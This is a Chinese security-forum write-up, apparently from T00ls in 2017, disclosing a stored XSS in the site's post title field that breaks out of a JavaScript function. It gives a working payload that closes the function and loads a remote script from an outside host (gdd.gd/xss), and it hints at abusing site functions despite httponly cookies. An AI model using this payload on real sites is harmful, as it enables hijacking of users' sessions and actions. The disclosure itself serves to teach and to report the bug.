土司某处储存XSS 非Markdown问题 (Markdown没找出来,打偏了)

2017-06-26 17:15:49 25 5803 8


【前奏】声明:本文基本没什么技术含量,就是细心,细心,细心。因为我太粗心了,所以我想用过程提醒大家细心。事情起因是这样婶的,老君哥最近为了方便广大白帽子代码上的交流,然后使用了“Markdown”编辑器,因为安全性问题在使用这个编辑器的第一时间老君哥就发了通告,告诉广大安全友人这个编辑器会存在各种问题,要注意安全的同时也让大家集中力量找出“马克荡”的安全问题。然后看到有一些人可能因为土司的名气然后借机利用Markdown的安全问题(网上早就有相关文章)在土司成功利用后来到处宣传自己,写文章没错,也没毛病,到处宣传我觉得就有点过分了,你是在说土司怎么怎么样??还是说自己怎么怎么样???。呃。。。没办法说,每个人都不一样么毕竟,因为名气这个东西是很重要的。然后我心思拿出些些时间找找“马克荡”的编辑器的安全问题吧。测试了半天,发现老君哥似乎都修复了吧。。。找了半天毛都没找到,估测修复了吧,,,一点不给其他人玩玩的机会呀。不过在找的过程中发现了另一个有趣的储存XSS。下面就是正文。




【正文】首先,为了测试我随便编辑了一个我以前发布的帖子,在编辑的过程中,发现标题出会被某个地方所调用。如下图:


看到文章页面有调用“标题”的地方。哎呦??会不会存在问题呢?然后测试一下符号吧。什么左右尖括号,什么双引号,什么单引号。最终fuzzy的结果是左右尖括号不可用,双引号不可用,个人感觉应该是html转义了。但是单引号可用。那么咱们就试试构造一下弹窗来瞧瞧。
因为是dom型XSS所以需要闭合,然后嘞。如下图。发表一个文章为:');alert('xss');// 的文章看看。


虽然构造成功了,但是,好尴尬啊。。。为什么尴尬???自己看图!!!!


当时就很纠结,这么2货的XSS,谁TM能点。是不是傻。。。不过对呀,function postToWb() 它不是一个函数么,完全可以再正文HTML中插入调用这个函数的标签不就完事了么,对吧。。。比如字体加大,字体加粗等等。对吧。利用一下标签。。。
结果跟2货似的测试了好多好多,发现都不可以用。。。完全被实体化了。╮(╯▽╰)╭  感觉好尴尬啊。这么把问题提交给老君哥,我自己都觉得是不是有点太2逼了。。。感觉分分钟就会被忽略啊。。。后来想了一下,感觉还是自己太年轻啊(别臭不要脸了,自己都…………算了不说年龄了,上火,容我吃袋卫龙,喝瓶雪花)。既然可以闭合JS标签,为什么不去直接闭合postToWb这个函数???对吧。然后紧接着。闭合函数。不过标题有限制150个字符,不过嘛,刚刚好。
通过构造代码如下:
');}document.body.appendChild(document.createElement('script')).src='//gdd.gd/xss';{('
最终呢,如下图。不过要注意土司网站的cookie都是httponly的。


因为土司网站是https的,所以必须加载https的,而我的网站是http的,SO。。。。

不过不要以为httponly咱们就无可奈可了,虽然cookie方面基本不用去想了,但是咱们可以通过JS做一些其他有意义的事情,具体的相信你都知道了(通过JS操作一些功能传送门:https://www.t00ls.net/thread-40567-1-1.html ),好了,到这里应该结束了。

TCV=4 这个问题应该出现不是一天两天了,只是没人细心注意对吧。

关于作者

Shrimp52篇文章615篇回复

互相学习技术而已。ด้้้
请有空多访问一下本人的个人博客:
https://woj.app/

评论25次

要评论?请先  登录  或  注册